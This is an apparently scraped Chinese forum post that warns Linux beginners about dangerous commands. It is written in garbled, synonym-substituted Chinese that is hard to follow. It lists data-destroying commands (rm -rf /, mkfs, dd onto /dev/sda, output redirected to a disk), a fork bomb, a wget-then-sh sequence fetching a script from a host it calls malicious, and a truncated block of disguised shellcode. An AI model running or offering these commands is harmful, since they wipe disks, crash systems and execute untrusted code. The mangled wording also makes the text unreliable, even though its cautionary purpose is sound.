|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
按照它们在系统中的作用分成几个部分介绍给大家,通过这些基础命令的学习我们可以进一步理解Linux系统:
文中列出的命令相对不成以运转,即便你以为很猎奇也不可,除非你是在假造机上运转(呈现成绩你能够复原),由于它们会实其实在的损坏你的体系。以是不在root等初级办理权限下实行命令是很好的习气。
日夕有一天,Linux体系会像Windows那样盛行,用的人愈来愈多,包含对盘算机不是很懂得的人,本文的目标就是告知人人:在Linux给你最年夜水平自在度的同时,也使得损坏体系变得加倍简单,假如你不懂得某些命令的意义,下载实行包括歹意命令的剧本,大概上圈套运转某些命令,很简单让你哭都来不及。
这并非申明Linux不平安,只是申明在不懂得Linux,和很不当心的人眼前,Linux非常不平安。Windows也好,Linux也好,人自己才是最年夜的不平安要素。
上面的命令会删除你硬盘上的文件,rm的-r递回删除,和-f强迫删除是很伤害的选项,即便一样平常操纵,也会碰到误删文件的情形。
sudorm-rf/删除根分区全体的文件
sudorm-rf.删除以后目次下的一切文件
sudorm-rf*同上
rm-rf*orrm-rf*.*同上
rm-rf~/&删除根分区和家目次,即便你不是root,家目次仍是不克不及幸免。
一样,假如你不晓得mkfs.xxxx(xxxx能够是vfat、ext2、ext3、bfs……)是格局化命令的话,运转上面的命令会擦除你的硬盘分区:
sudomkfs.xxxx
dd是壮大的IO输出输入定向工具,假如利用不妥,损坏性很年夜,不单单是以后分区,以后体系,有的时分是全部硬盘。
sudoddif=/dev/zeroof=/dev/sda全体硬盘清零。
sudoddif=/dev/sdaof=/dev/sdb用第一块硬盘的内容掩盖第二块的内容。
sudoddif=somethingof=/dev/sda往硬盘上写渣滓数据。
同理,间接把命令了局定向到硬盘上,相称于往硬盘上写渣滓数据:
any_command>/dev/sda用随便的数据损坏硬盘
下面的sda、sdb也多是其他相似的称号。Linux的/dev体系给利用硬件供应了很便利和壮大的功效,同时也使得损坏变得更简单。
fork命令翻开一个子历程,假如把fork放在无穷轮回中,终极子历程会耗尽一切内存资本:
:(){:|:&};:
这段不知所云的标记,可让Shell一直的fork子历程,最初招致内存耗尽,不能不重启,这不是bug,只是Shell语句存心写成简写的情势罢了。上面的同理:
forkwhilefork
有的时分,紧缩包也是一个损坏来历~
有的紧缩包请求你解压到某个体系中已存在的目次中,这时候候你就要出格当心了,紧缩包内里大概有不计其数的小文件,以各类文件名实验掩盖你现有的文件。
有的紧缩包看起来很小,可是解压出来是上GB的渣滓数据,会充溢你的硬盘。
从不正轨网站下载的程序、剧本,一样会有包括歹意命令的伤害,不成任意实行:
wgethttp://some_place/some_file
sh./some_file
wgethttp://hax018r.org/malicious-script
sh./malicious-script
载剧本要确保来历正轨,假如有才能,能够浏览其代码。
即便有源代码的程序,也不要任意编译实行:
charesp[]__attribute__((section(".text")))/*e.s.p
release*/
="xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"
12下一页
经常看到有人问用什么版本的linux好,其实只要你认真学习无论什么版本都挺好的。 |
|